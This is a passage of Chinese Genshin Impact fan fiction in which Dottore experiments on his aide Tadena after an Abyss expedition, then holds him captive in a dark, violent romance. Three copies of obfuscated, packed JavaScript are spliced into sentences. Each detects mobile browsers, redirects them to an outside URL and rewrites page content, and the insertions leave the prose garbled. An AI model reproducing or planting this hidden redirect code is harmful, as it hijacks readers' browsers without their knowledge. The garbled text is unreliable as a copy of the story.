我看着【队长】带领部队熟练地抵抗绞杀魔物,这位第一执行官的实力,即使远观,也足够让人震撼。 魔物已死,多托雷和【队长】商量希望稍作停留,给一点时间收集这些魔物的残骸。 【队长】答应了,只是让多托雷尽量速度快点。 “深渊的危险难以预测,我们无法在此停留太久的时间,你需尽快行动。”【队长】沉声道。 他对多托雷的态度其实比较一般,不过涉及正事,【队长】大人并不会掺杂个人情感。 “我明白了,我会安排多点的人手。” 多托雷递给我一个眼神。 我心领神会,向带来的研究人员说明了情况,让他们分开收集,速度要快。 回来的时候我看见多托雷和【队长】站在一起似乎在聊什么,我不愿上去碍事,便也拿了工具去收集多托雷要的魔物残骸。 好在只需要将魔物还完整的器官分离出来装进容器里面,加上因为之前激烈的战斗,很多魔物都重伤残缺,连能用的部分都很少,工作量更是减轻。 在一处靠近悬崖的地方,我遇到了正在包扎的愚人众士兵,他们看见我有的露出稍微局促的表情。 “塔德纳副官。” “副官大人,您好。” 我没想到他们对我的态度会这么好,稍微有点受宠若惊。 “抱歉,我没想打扰你们,只是来这里收集一些魔物的样本。” 我指了指不远处的魔物尸体。 这些看着年纪与我相差不多的青年挠了挠头,为首的一人道:“那您请自便,希望我们在这里不会碍事。” 我摇了摇头:“这句话该我来说才是。” 我看了看躺在担架上的一名士兵,那名士兵好像受了很严重的伤,胳膊和大腿都有被绷带厚厚包裹的地方,绷带渗出来很深的血迹。 我问他们:“这是刚才在战斗的时候被魔物伤到的吗?” 正在替人包扎的士兵回答我:“是的,副官大人。格列布被深渊魔物抓伤了左臂和右腿,如今陷入了昏迷。” “没有治疗的药物吗?” “我们带了止血和治愈的伤药,但深渊魔物的污染无法被清除,格列布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875959|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就没办法醒来。” 我心里一沉。 “请问我可以看看他的伤势吗?” “当然可以,副官大人。”这位士兵掀开伤员左臂的绷带,露出明显被利爪抓出来的狰狞伤口。 就形状而言,与普通猛兽抓出来的伤口并无不同,只是更加严重,皮肉翻卷,深可见骨,但是,即使是凭借肉眼,我也能够看到那伤口边缘泛着的黑色,令人感到不详且危险。 我看了一眼其他人,这些人的脸上虽然有不忍的神色,但更多的是司空见惯的麻木。 我突然感觉有些喘不过气来。 “这种情况很常见吗?” “是的,大部分人的死因都是因为在战斗中被深渊的气息侵袭污染,即使是侥幸活下来的,也会陷入精神失常之中。” 我感到难以回答。 这些愚人众的士兵,承受着比我预想还要严重的风险和压力,我却不知道该说什么为好。 “没有治疗的方法吗?” 他们摇摇头,其中一人说:“没有医生知道该如何医治被深渊气息侵蚀的人。不过【队长】大人告诉我们至冬来了一位须弥的天才学者,以后或许会有医治的方法。” 他看向我,眼中带着明显的期盼:“塔德纳大人,听说您是一直跟随【博士】大人的人,是他的心腹,您知道【博士】大人有没有找到治疗深渊侵蚀的方法吗?” 我被盯得手脚僵硬,晕乎乎地回答:“【博士】大人既然来了深渊,应该是在进行相关的研究……” 这些士兵听到我的回答都像是得到了什么希望一般,连之前灰暗的氛围都轻松了一些。 我听见他们说:“太好了,以后说不定就不用担心死于深渊侵蚀了。” 一时间心里复杂。 我想起须弥的演讲大厅里被无数道声音指责的青年,以及被流放的那天,我和多托雷被压到教令院门口宣判罪行,围观的人里三圈外三圈,压得人透不过气来。 台上的贤者每宣读一句,周围的看客便会义愤填膺地骂一句“怪物”,“凶手”,“滚出须弥”。 多托雷挑衅地笑着,只是等风纪官把我们押送到沙漠离开后,他的脸色瞬间变得阴沉下来。 被故土驱逐的丑闻就如同一根尖刺扎在多托雷的心上,令他耿耿于怀,无法忽视。 被视作“不详者”驱逐的青年最后遥望了一眼教令院的方向,发出一声嗤笑。 【仆人】说的完全正确。 须弥不需要多托雷,但至冬需要多托雷,愚人众需要多托雷,这些每日都在经受着深渊侵蚀的愚人众士兵更需要多托雷。 我如今心乱如麻,却并不知晓被我放在口袋里面的方盒子正在发出淡淡的光芒,还在轻微地颤动着。 也并没有注意到那些士兵正发出一声轻微的欢呼:“格列布,你醒了?你感觉还好吗?” 那带着喜悦的声音很快变成了惊恐的呼声:“格列布,你怎么了?你要干什么?格列布,醒醒!” 一道惊雷般的声音在我耳边炸响。 “塔德纳大人,还请避开!” 但还没等我反应过来,便被醒来发了狂的格列布抓住肩膀,他用力地捶击了我的侧脸一拳,我被这一拳砸得脑袋一闷,头晕眼花,顿时失去反抗的能力。然后像一块破布一样,比我强壮太多的士兵拽着我到悬崖边上,摔落下去。 我最后听到的声音便是上面传来的惊呼,再剩下的,便只有耳边不断呼啸而过的风声。 格列布分明是那个突然发疯拽我下来的人,此刻却先在空中晕过去了,或许他刚才的“清醒”也只不过是暂时的意外罢了。 我咬了咬牙,在最后的一刻反拽过这个家伙将他垫到身下,狠狠地摔到地上。 落地的一瞬间,意识“咣当”一声,陷入无边的黑暗。 在昏迷前的最后一刻,我的脑海里竟然浮现的是多托雷与【队长】交谈的身影。 再也不自己找事干了,还不如在多托雷身边当电灯泡。 我如此想着,在剧痛中失去意识。 14. 第 14 章 再度醒来之时,我感觉到了全身粉碎般的痛苦。 事实上我现在的情况确实离这大差不差了,或者说,即使勉强在空中调整了一下身位,从那么高的地方摔下来,我竟然还能活着,也算是一个奇迹了。 我现在能感觉到四肢的痛感和存在,但却无法挪动它们哪怕一点,全身的骨头断的差不多了,或许还有被摔成粉末的。 我对我的情况不抱任何希望。 而且我现在感觉喉咙里全部都是血,意识虽然勉强恢复过来,但大脑如同灌满了泥水。 不知道多托雷有没有发现我掉下来了,当时那么大的动静,他只要不是聋子,肯定能发现的吧。 不过按照我的身体情况,我不一定能够撑到被找到的时候。 而且…… 而且深渊很危险,【队长】可能不会同意为了一个普通人大费周章地找人。 愚人众士兵的生命,两位执行官的安全,若是压在一方天平上,我就如同一根轻飘飘的羽毛一样,甚至无法让衡量的指针颤抖一分。 我在心里叹了口气,想起进入深渊前多托雷那一番让我活下去的“威胁”。 多托雷这样的家伙,傲慢,自私,甚至随着时间的发展,变得越来越偏执和疯狂。 他有着傲慢的天资和实力,所以很多时候我并不会为之感到厌恶。 我和他观点的一切分歧,我对他的不满,归根结底不过是出于个人普世价值观点的冲突。 多托雷注定会有一番成就,我很清楚这一点。 他的才华,会给至冬带来毋庸置疑的改变,说不定,这样的改变还会蔓延至整个大陆。 与之相比,这样一个过于平庸的我,反而显得有些拉低他的脚步。 多托雷如今倾泻在我身上的执念和恶意,不过是因为我占据了他生命中重要转折点的“同演”身份,以及蝼蚁如我,对他造成的影响。 无论是精神,还是身体。 那场刻字效忠,以及活力之家,趁多托雷大意刺他的一刀。 除此之外,我既没有研究的天赋,没有办法成为他的助手,更没有政.治方面的才能,可以替他与其他执行官交涉。 我如同一个活的标本,承载着多托雷短暂且难以言说的过去,在他身边,无时不刻不去提醒着他“被驱逐的过往”。 我的生命,就此终结也不会对这个世界造成任何影响。 我如此想着,临到真正的死亡之时,内心竟然没有丝毫的恐慌。我想起被多托雷掐住脖子极端窒息时的挣扎,发现自己再也没法产生出那样迫切的求生意愿了。 我闭上双眼。 就在等待死亡之际,我感受到一阵暖意,那从我口袋里摔出来的盒子,此时正落在我的脸旁,散发着灼人的热度。 像是火堆一样温暖。 恍惚之中,我好像感觉到身体的疼痛都减轻了不少。 这样的宁静转瞬即逝,我听到不远处野兽的嘶吼,不多时,两只深渊魔物出现在我身边,他们的身上散发着恐怖的黑雾,比起之前见过的还要浓烈许多。 那尖嘴的魔兽靠近我,在我的腿上嗅了嗅,然后一口咬在我的腿上。 “啊!” 我忍不住痛呼,剧烈的疼痛让我脑海中那一根“冷静”的弦彻底断了,我不知道从哪里来的力气,伸出另一只腿狠狠地翻身踹了那魔物一脚。 那两只魔物被我吓了一跳,嚎叫起来,在我身边暴躁地转着圈。 我能感受到他们并没有放弃的意思,甚至好像更加凶狠了。 被魔物咬死未免也太痛苦了吧…… 我对这样的结局有些不能接受。 在那魔物虎视眈眈盯着我很久,终于忍不住朝着我脖子袭来想要一击毙命的时候,我下意识地握住旁边的盒子。 那盒子烧得如同火炭一般,我接触到表面的手掌瞬间发出被烧焦的声音。 我忍着痛,下意识带着那盒子,一拳砸到魔物身上,泛着黑光的火焰从我的手中迸发而出,顷刻吞没这只魔物的身体。 在火焰之中,魔物嘶吼着,化为一片灰烬。 另一只魔物被同伴的死亡刺激,扑到我的右手上一口咬住我的手腕,我痛得差点松开手里的盒子,但很快,这只魔物也同样被黑色的火焰燃烧杀死。 危机解除了…… 太好了。 我脱力地放任自己摔在地上,眼前一片黑一片白,整个人感觉轻飘飘的,如同漂浮在云层之中。 这是失血过多的症状。 我感受到强烈的昏睡感,又不敢真的让自己睡过去,只能用力咬着自己的舌尖靠痛苦维持濒临崩溃的意识。 要是睡过去,恐怕就再也醒不过来了…… 昏昏沉沉之间,我的耳边似乎响起了扭曲的恶语,如同无数个邪恶的念头在一瞬间疯狂地涌入我的大脑,我除了倾听,别无他法。 死去吧,死去吧……弱小无能的生物,就算是活着,也无法创造一丁点价值的废物…… 无能,无能,无能…… 你是怪物的拥趸,你做下那么多错事,却连应有的惩罚都没有受到…… 你该死…… 我甚至似乎还听到了熟悉的声音,是阿巴斯,我从未听到过他如此怨毒的声音,如同索命的厉鬼。 “塔德纳……你这个骗子,都怪你,都怪你,不然我不会被那个恶医折磨那么久,更不会逃不出去……是你害了我,你也是凶手……凶手!凶手!凶手!凶手!” 这是…… 来自旧日的怨恨…… 我彻底昏死过去。 …… “这里已经无限接近深渊的中心了,多托雷,你确定你的下属在这附近?” 多托雷手里拿着一个仪器,上面显示着一红一绿两个光点,此刻两个光点的距离无比接近。 多托雷抬头,看到一颗巨大的黑树,无花无叶,只有光秃秃的躯干,在黑树的周围,环绕着只有大约三十厘米宽的河流。 很难说这条过于狭窄的河流是正常的,里面流淌的虽然是无色的水,但却散发着危险的气息。 “就在这里。”多托雷笃定地说道。 他走到黑树的底下,走得近了才发现这树并不是没有树叶,只是都落在了地上,铺了厚厚的一层,因为颜色太黑,和黑色的地面混在了一起。 他在地上发现了半截试管的玻璃,以及一滩还能看到的蓝色液体。 是被摔碎的耳饰。 人恐怕就在这里。 多托雷如此想着,动了动脚拨开黑色的树叶,里面露出一只被猛兽咬得血淋淋的手臂,被烧得连骨头都能看见的手掌里还捏着他给塔德纳的半成品盒子。 他把人拖出来。 “人还活着吗?”【队长】走过来问他。 多托雷蹲下,手搭在塔德纳脖子的动脉上,然后又掀开眼皮看了两眼。 “算活着,不过看伤势可能坚持不了多久了。” 【队长】沉吟:“我不建议你救他,你我都知道,深渊力量的恐怖,身受重伤,又被深渊力量侵蚀地如此严重的他,并不一定能活下来。” “只是伤势的话,只要心脏和大脑还是完整的,我就能保证他不死,至于深渊的侵蚀……”多托雷摆手,“这不正是你们找我的目的之一吗?” “我并不认为在深渊气息最浓厚的地方呆了这么久的他在被治疗后还能够保持自己的理智,多托雷,你是学者,你最清楚这点。” 多托雷忍不住笑了出来:“我早就被教令院驱逐了,现在可算不上‘学者’。” 他如此说着,取出一只药剂出来,注射给昏迷的青年。 “况且,就算塔德纳失去意识,我也有控制他的手段。只要在他死之前研制出控制深渊力量的方法就行了。” 【队长】不再言语,沉默地看着多托雷为气息微弱的青年做着应急的处理。 过了半晌,他掏出一瓶颜色奇怪的药剂递给多托雷。 “这是?” “清幻剂,一种精神类药物,可以清除深渊带来的影响,但同时,它的副作用也很强烈,不时的头疼将会伴随终生,所以虽然有这样的药剂,也只会用于情况很严重的伤员。我不知道这个药剂对他的情况有没有用,你可以自行决定是否使用它。” 多托雷接过药剂,认真地看了看,然后把视线转向【队长】,发出一声意义不明的笑声。 【队长】有些疑惑:“怎么?” “我还以为你很看不惯我。” 【队长】沉默了片刻:“这是两码事。” 过了会儿,他又加了一句:“我依然反对你的实验方法,那与我坚持的原则和主张完全相悖。” “当然,虽然你拒绝了派士兵帮我找人的请求,但你能亲自陪我来走这一趟,我还是很感激的。” 多托雷不以为然地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875960|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,抱起青年。 精致的外套因此沾染上血迹和灰尘,多托雷稍稍皱了皱眉。 …… 愚人众的军.队不会因为一个副官的伤势就结束此次任务,此次对深渊的征讨才刚刚开始,远没有到结束的时候。同样,多托雷也不可能为了塔德纳放弃这次对深渊近距离研究的机会。 于是多托雷便一直用试剂吊着塔德纳的生命。 有些令人出乎意料的是,塔德纳的身体似乎在一种来历不明的力量下进行着自我修复,且速度肉眼可见。 多托雷进行了一些控制实验,像划破皮肤这样的小伤口,不过一分钟左右就可以完全愈合,但是会留下疤痕。 不过一周左右的时间,多托雷便发现塔德纳身上的伤都愈合得七七八八了,只是体内断裂的骨头似乎并不会在股力量下复原,以及体内的深渊力量,也一直居高不下。 这样不合常理的恢复速度,或许与深渊相关…… 多托雷思考着。 等到离开深渊的日子,多托雷火速回了实验室,连执行官的例会也抛之脑后。 若他的猜想正确,那么,人是不是能够通过深渊的力量获得自我治疗的力量?甚至扩大一步,改造身体的强度,拥有更加强大的力量? 多托雷此刻的大脑无比兴奋,他从带回来的深渊魔物里提纯萃取出高浓度的深渊力量,将它与魔神残渣反应。 深渊力量所展示出来的破坏力和威胁性都比魔神残渣要大得多,这与他最初的设想一致,二者结合之后,形成了更为恐怖的力量。 他在实验体体内注射深渊力量,实验体很快陷入了一种类似于“中了剧毒”一样的反应,体内器官被迅速腐蚀,然后很快死去。 这与塔德纳身上所展示出来的特性完全相反! 多托雷考虑过是否是因为注射剂量或者是注射的速度不同,但随后的实验也接连失败。 于是,多托雷做了个决定,他向塔德纳的体内注射了萃取出来的深渊力量。 如同其他的实验体一样,塔德纳体内的脏器很快也遭受了深渊力量的侵蚀,但速度衰减很快,似乎是在与某种力量的争斗中消耗了自己,最终彻底消失,塔德纳的身体开始自身修复。 他由此判断,塔德纳体内的力量与深渊力量同源,但又完全不同。 如同磁铁的南北两极。 为了更进一步的研究,多托雷向塔德纳注射了魔神残渣与深渊力量的混合物。 犹如火和雷产生的超载爆炸,两股力量在塔德纳体内迅速反应,最后就像完全没有存在过一样,彻底消散,只有发出尖锐鸣声的机器上如实记录的元素量曲线能够一窥刚才到底发生了什么。 那条一直平稳的线条在一瞬间飞出可显示的范围。 这是……从未观测到的景象…… 多托雷睁大了眼,在尖锐的机器失灵声以及其他人混乱的叫声中,看到手术台上那具被插满管子的躯体缓缓坐起来。 管子随着那具身体的动作一个接一个地掉落,露出令人头皮发麻的血洞。 塔德纳醒了。 在发狂的状态下。 深渊力量虽然没能在他身体里造成任何波澜,但在塔德纳身体里的力量专心对付深渊力量的时候,被魔神残渣捡了空。 过量的魔神残渣会影响人的心智,无限激化人内心的负面情绪。 被注入塔德纳体内的魔神残渣就如同火信,点燃了塔德纳体内积攒的深渊力量,两股力量一起侵蚀他的神智,令他醒来的同时也丧失意识。 实验室里的器材都发出故障的火花迸溅声。 在一派混乱中,多托雷紧紧盯着那道身影。 塔德纳也在看他,那双往日总是被刻意压下去,显得温顺的绿色双眼如今瞳孔呆滞而空洞,望着多托雷的时候转变成了强烈的愤恨。 在塔德纳扑过来的一瞬间,多托雷闪开,反手卡住那柔弱的脖子,将人按在地上,膝盖半跪在不断挣扎的两条腿上压制着。 多托雷又控制住身下人的手,看着那张脸上的不甘和愤怒,忍不住磨了磨牙。 他冷笑。 “真是养不熟的东西。” 多托雷掏出【队长】给他的那瓶清幻剂,用嘴咬开瓶塞,然后强硬地塞进塔德纳的嘴里。 塔德纳痛苦地吞咽着,无神的双眸蓄满了泪水,因为过于粗鲁的动作,他因此呛了好几口水,痛苦地咳嗽起来。 15. 第 15 章 我似乎沉睡了很长的时间,但这之中好像又不是全然的毫无意识,偶尔能够感知到自身存在的时候,我的记忆里好似会多出来一些东西。 有惊恐的声音,有穿着实验室衣服的人在我的身边晃悠,似乎是在调试什么机器。 但更多的时候,我会看到多托雷。 无论是在实验室的手术台,被头顶的灯光照射得眼睛都睁不开的时候,或者是被关在某处房间里,所看到的多托雷的背影。 那张脸似乎随着时间的流逝发生了变化,变为成熟的男人,举止也多了份圆滑,显得深不可测。 我模糊地意识到,时间正在消磨我们的生命。 多托雷自然也明白。 再次遇见他时,他带上了一副鸟嘴样式的半脸面具,只露出下半张脸。我不再能够通过他的眼神猜测他的想法,只能看那嘴角的变化稍微揣测他的心绪。 我沉浮在意识明暗之中,无法清醒,能感受到多托雷似乎是想对我的身体做出改变,但因为阻力放弃。 时间似乎在我的身体上停止了,我仍能感受到自己的身体如同停留在了昏迷前的那一刻,在被一只冰冷的机械手臂触摸的那一刻,我的感受更加明显。 多托雷对自己的身体进行了改造。 一如他所推崇的理念。 我很能理解。 在提瓦特,除了少数特殊的物种之外,人类依旧是短生的物种,不过几十年的寿命,对比多托雷的野心,显得实在是太过渺小,须臾。 更换四肢,更换衰老的内脏…… 只要大脑完好无损,多托雷对自己存活下去的方法可谓是无所不用其极。 他开始研究那个失落文明的技术,并从中获取改进人类身体的方法。 真正醒来时,我的意识如同完全新生的婴孩,我茫然地从床上坐起来,然后爬行着,想要离开房间。 并非是不想行走,而是双腿由于长期的不使用,肌肉早已萎缩,就算是四肢着地的爬行,我也会感受到手腕和大腿传来的疼痛。 身体里的力量修复了外表和内部的损伤,但对于被咬断的骨头,却无法复原如初。 我咬着牙爬到门边,想要扶着门框站起来的时候,发现自己四肢上的铁链。 如同在控制一只随时会发狂的猛兽一样,将四肢用铁链连接在床脚,连脖子上也带着沉重的铁圈。 我感受到铁链的重量和束缚,丧气地坐在地上。 记忆在脑海中缓慢地苏醒着,不止有昏迷前的,还有这不知道多少年的些许记忆。 就在我回忆的时候,门被从外面打开了,我靠在门上没反应过来,一下子摔倒在来人的脚边。 我抬头,只看见面具下两片血色几无的薄唇。 高大的男人似乎刚从外面回来,连外套也没脱去,还带着飘落的点点雪花。 他蹲下来,像拎一只小鸡一样拉着我脖子铁圈上的链子,将我拽起来。 我感到呼吸被压制的不适感,挣扎了一下,但很快被多托雷压制住。 多托雷一只手掐着我的脸,似乎是在打量我。 原谅我必须要用“似乎”一词,因为他戴着面具,我实在是什么都看不出来,只能感受到那股熟悉的视线如同猎鹰打量猎物一般,危险而窒息。 我和他离得极近,却几乎从他身上感受不到活人的热气和起伏。 他的力气也大得不似常人,我感觉自己的脸颊都被捏红了,疼得我想挣脱那只手,但无论我怎么去扒,都无法挣开哪怕一丝一毫。 比起记忆里还要恐怖十倍的畏惧瞬间席卷我的大脑,我如同待宰的羔羊,发出崩溃的呜咽声。 “呜……” 多托雷像是被我的声音惊醒,他一把将我压倒在地上,两.腿横跨在我的身侧,铁钳一般的手压着我的脸扭向一边。我看到他一手捏着我脖子上的铁圈,只是轻轻用力那铁圈便被捏碎,扔到另一边。 “!” 他拿出一个连接一根长管道的仪器,将管道的一端塞进我的口中,偏硬的管道顺着我的喉咙向下,多托雷的手法毫无温柔可言,我感受到强烈的呕吐感,喉中肌肉剧烈地痉挛着。 等插得很深了,多托雷才停下,他看着仪器上不断变化的数字,喉间发出愉悦的笑声。 “体内元素含量完全平稳,深渊残留……数值是0,血压正常,心跳正常,内分泌一切正常。呵呵,塔德纳,你耗费了我五十年的时间,终于肯醒过来了。” 五……五十年…… 我感受到危险的预感,想说话却总是感受到喉咙里异物的怪异感觉。 “主……” 下一刻,脖子传来被咬住的剧烈疼痛,多托雷如同疯了一般,牙齿抵在我的脖子上,狠狠地撕咬着,我感受到脖子被尖牙咬穿,血流了出来,但很快被舌头舔去。 并不柔软的舌面用力地摩擦着我的伤口,我疼得发懵,去拽那颗埋在我身上的绿毛头。 多托雷毫无所动,只是更加用力。 他用力压迫着我的喉管,我感受到嘴里被插入的管子也在蠕动,内外同时施加的疼痛和窒息让我十分难受。 我颤抖地伸手握住管子的外端,一闭眼心狠拔出,骤然的抽离感在我的喉中留下一阵火辣辣的疼痛。 怎么挣扎也没有用,我生无可愿地把手垂在地上。 多托雷那尖嘴的面具硌在我下颌上,难受的要命。 不知过了多久,多托雷松开我,他擦了擦嘴角沾上的血,把我从地上扶起来放到床上,半跪着为我整理弄乱的衣服。 那单薄的一片与其说是“衣服”,不如说是蔽体的布料,多托雷整理了半天也不过只是把歪了的领口摆正,从“一览无余的领口”变成“一览半余的领口”而已。 我麻木地从他手中扯出那可怜的布料。 这个时候多托雷的力气又不大了,他任由着我堪称无礼的动作,只是轻笑了一声。 他问:“你生气了?” “【博士】大人,您有点不太正常,您没发现吗?” 修炼了五十年的多托雷果然圆滑,他声音里的笑意只增不减:“哦?这倒是有意思的评价,说说看?” 我指了指脖子上那湿漉漉的咬痕。 “您说过的吧,我是您的下属,是所有物,充其量而言不过是养在身边的一条不算听话的狗。那么现在,像一条狗一样咬来咬去的人是谁?【博士】大人,您是否还知道我只是您的一条狗?还是说,您已经遗忘了过去的事情,连人类之间如何相处都忘了,被过量的改造手术变成了一个故障的……” 多托雷一把掐住我的喉咙将我接下来的话阻拦下来,他按压着我的喉结,难耐的压迫感让我好不容易凝聚起来的勇气顷刻消散,我拉着多托雷的手掌,眼眶里盈满了生理性的泪水。 “就是如此,就是这样……”多托雷如同欣赏自己的实验杰作一般,伸手将我眼角的泪水擦去,与他不停按压我喉管的粗鲁动作相比,此刻的动作显得无比温柔。 甚至……温柔地有些诡异了。 “你知道吗,塔德纳。”他说,“很久之前看到你这副脆弱愤怒又无法抵抗的样子,我的内容就会升起一股难以控制的毁灭欲,我想看你在我手下眼红求饶的样子,想看你,哭泣挣扎,连嗓子都哭哑了还要被欺负……” 我惊疑不定地听着他的话。 心里忍不住浮起一个想法—— 他疯了! 多托雷简直疯了! 这个活了五六十年终于把自己改造成了有人类大脑的机械造物的疯子终于迎来了他迟来五十年的青春期,对自己身边唯一一个能下得去手的人伸出了魔爪! 操了蛋了! 我想要远离他,但退路早就被多托雷阻断了。 多托雷的声音无比温柔,但即使因为这样,才显得恐怖。 “我想过换个方式,把你解剖开,制成切片,大脑浸泡在溶液里放在我的桌子上,我还能够保存你的意识,这样即使你的身体不在,但意识依旧能够与我长存下去,但可惜……” 他靠近我的耳畔,呼出的气几乎让我头皮发麻:“你身体的复原速度能很快地修复你的身体,我只能放弃这个想法。况且,我很喜欢你的温度,如果只是样本,那这样的温度,或许就再也感受不到了。” “我曾无数次反驳这种感情的存在,但头脑能骗得了人,心脏和激素却不会。” 多托雷伸手摘下鸟嘴状的面具,那双猩红色的双眸对我而言,依旧不过是昨日的光景,但恍惚之间,似乎又已隔过无数的岁月。 我看不懂那双眼睛里的情绪,对于多托雷所有的话,我的意识和理智都在疯狂地提醒着我: 不能相信!不能相信! 这实在是太荒谬了! 多托雷在撒谎吗? 可是理由是什么?他没有任何理由这样做。 动机……目的…… 我的大脑高速思考着,甚至不可避免地感受到一股钻心的疼痛。 那疼痛从大脑深处传来,几乎在片刻之间蔓延到我的整个大脑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875961|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“呜……”我忍不住扶着我的头,像是有一百个人在我的大脑里面跳踢踏舞一般,我疼得几乎丧失了对外界的感知。 意识模糊中似乎有人拨开我的嘴往里面喂了什么东西,苦涩的药剂让我忍不住眉头紧皱,但很快我便晕了过去。 …… 多托雷会对某个人产生别样的情感。 这句话对我而言而言简直就是完全不会出现在大脑里面的东西,它就是一个悖论,完完全全的错误观点,不应该出现在这个世界上的事物。 我相信,与我怀抱着同样想法的人,绝对数不胜数。 多托雷是个拥有着令无数人羡慕和害怕的恐怖才能的天才,他的一生和所有的感情似乎注定都将献给他那伟大而狂妄的实验。 如果没发生这么多意外的话。 平心而论,我觉得如果多托雷没有遇到过我的话,他的人生应该会更加顺畅。 虽然可能依旧改变不了他被教令院驱逐的事情。 我指感情方面。 我有充足的理由怀疑多托雷的大脑被我当初拿毒药毒坏了。 难道多托雷自己发明的药竟然是吃了会对自己身边的人产生特殊情感的,这种只会出现在脑残爱情小说里面的东西吗?! 又或者是我当初捅他的那一刀,扎的其实不是胸膛,而是他那莫名其妙的大脑。 一刀把人扎成恋爱脑。 我真是对不起愚人众的大家。 排除所有可能性后,剩下的那个可能即使再不可能,那也是真相。 所以—— 我决定相信多托雷脑子坏了,并满怀着包容的心情在心里祈祷他能早日好起来。 我再醒来时多托雷以及不在了。 这很正常,毕竟作为愚人众的执行官,他要是真的能闲到整天看着我的话,那其他执行官就要在会上蛐蛐他了。 锁链被解开了,门也没有锁。 在失去意识的不知道具体多少年后,我第一次以清醒的状态来到了外面,见到的第一个人,竟然是【仆人】凯丽德温。 那位手段凶狠且十分难对付的女性如今已经成了一位老人,即使在神之眼的力量下,她的身体素质远超常人,但也难以抵抗时间带来的磨损。 她如今衣裳普通,身材瘦弱,加上样貌变化得厉害,我花了一段时间才将她与记忆里的人对上。 凯丽德温看着我,愣了很长的时间。 我便开了第一句话的头:“【仆人】大人,久未见面,别来无恙。” 凯丽德温笑了,回答我:“我已不是【仆人】了,现在的【仆人】另有其人,你或许很快就能见到他了。” 她沉默了一会儿,语气有些怅然:“我没想到还能见到你,塔德纳,甚至是以这样的一幅姿态,你的样子,几乎毫无变化。” 我说:“【博士】大人也没有太大的变化。” 凯丽德温笑得眼泪都要出来了:“好吧好吧,如果你非要这么想的话。【博士】那家伙,不知道从哪里弄来了坎瑞亚的技术,用各种方法延长自己的生命,你看他外表与以前一样,可是内里呢?那家伙,如今恐怕连‘人类’都称不上了。一个百分之八十的躯体都被机械取代的存在,你觉得,它还具有人类的思维吗?” 凯丽德温说完,脸上的笑在一瞬间消散,她看着我,语气中带着深重的警告,以及一丝不易察觉的恐惧。 “不要相信他,他已经彻底疯了。不要靠近他,否则……” 她的话语被熟悉的声音打断,多托雷突然出现在转角,他的语气温柔。 “你们在聊什么?看起来很开心呢。” 凯丽德温如同被关了电源的机械玩偶,她闭上嘴,低着头,不对多托雷的出现作出任何反应。 我只好回答:“没什么,只是碰巧遇见了【仆人】大人,于是聊了两句。” 多托雷一脸惊讶:“【仆人】?哦,你说的应该是凯丽德温吧。不过我想你应该认错人了。” 他走过来,双手搭在我的肩上,对呆站在那里的凯丽德温视若无睹。 他推着我朝实验室的方向走,说出来的话几乎让我胆战心惊。 “凯丽德温二十年前在一次对深渊的战斗中丧失了理智,不久之后便死了。尸体还是我负责解剖收殓的,怎么会出现在这里呢?” 我的后背猛然惊出一声冷汗,忍不住扭头朝后面看去,只看到了一片衣角便被多托雷强硬地掰着头扭回来。 夹杂着风雪的冷风灌进我的衣领里,我忍不住打了个寒颤。 16. 第 16 章 在那之后我再未见过疑似凯丽德温的人,那日的相遇就如同幻觉一样。 多托雷并未禁锢我的活动范围,也不带着我出去,只是每天给我一些跑腿的工作。我每天要干的活就只是和新任【富人】的手下扯扯皮,想办法多要点经费来。 我还见到了新任的【仆人】,是一位年纪不小的成年男子,单看外表的话或许和【队长】的外貌年龄差不多大,只是气质上差得远。 他看我的时候像是在打量一件死物,这让我不太舒服。 “【博士】身边又换了新的人来?你叫什么名字?” 我没回答他的问题,只是抓住了他话中的奇怪表述:“又?” “你不知道?【博士】身边的人报废率可是出奇得高,我从没见过能坚持哪怕一个月的人。” “什么叫‘报废’?” “残了,或者死了,一般都是后者,你难道不知道【博士】的手段吗?连尸体都看不到,过一阵子就会有新的倒霉蛋顶上去。” 我耸了耸肩:“听起来不像是一个好差。” 【仆人】笑起来,连眼泪都笑出来了。 “哈哈,你就这反应?上一个听我说完这些话的人吓得要死,回去的第二天就自杀了。【博士】为这件事还警告了我一番。” 我有些无语。 “你真是个人渣。” 【仆人】敲了敲桌子:“放尊敬点,我好歹也是执行官。” 我从善如流:“好吧,您真是个人渣。” “你这家伙,和【博士】一样令人不快啊。” 他的反应不像是生气或者被冒犯,也可能是因为对方段位太高了,我看不出来。 不过我也不是很在意这个。 我问他:“你在故意吓那些人,所以你说的那些是假的?” “哪些?” “关于【博士】大人的那些。” “很遗憾,”他摆了摆手,“都是真的。看在你挺合我眼缘的份上,我再多告诉你一些事情好了。” 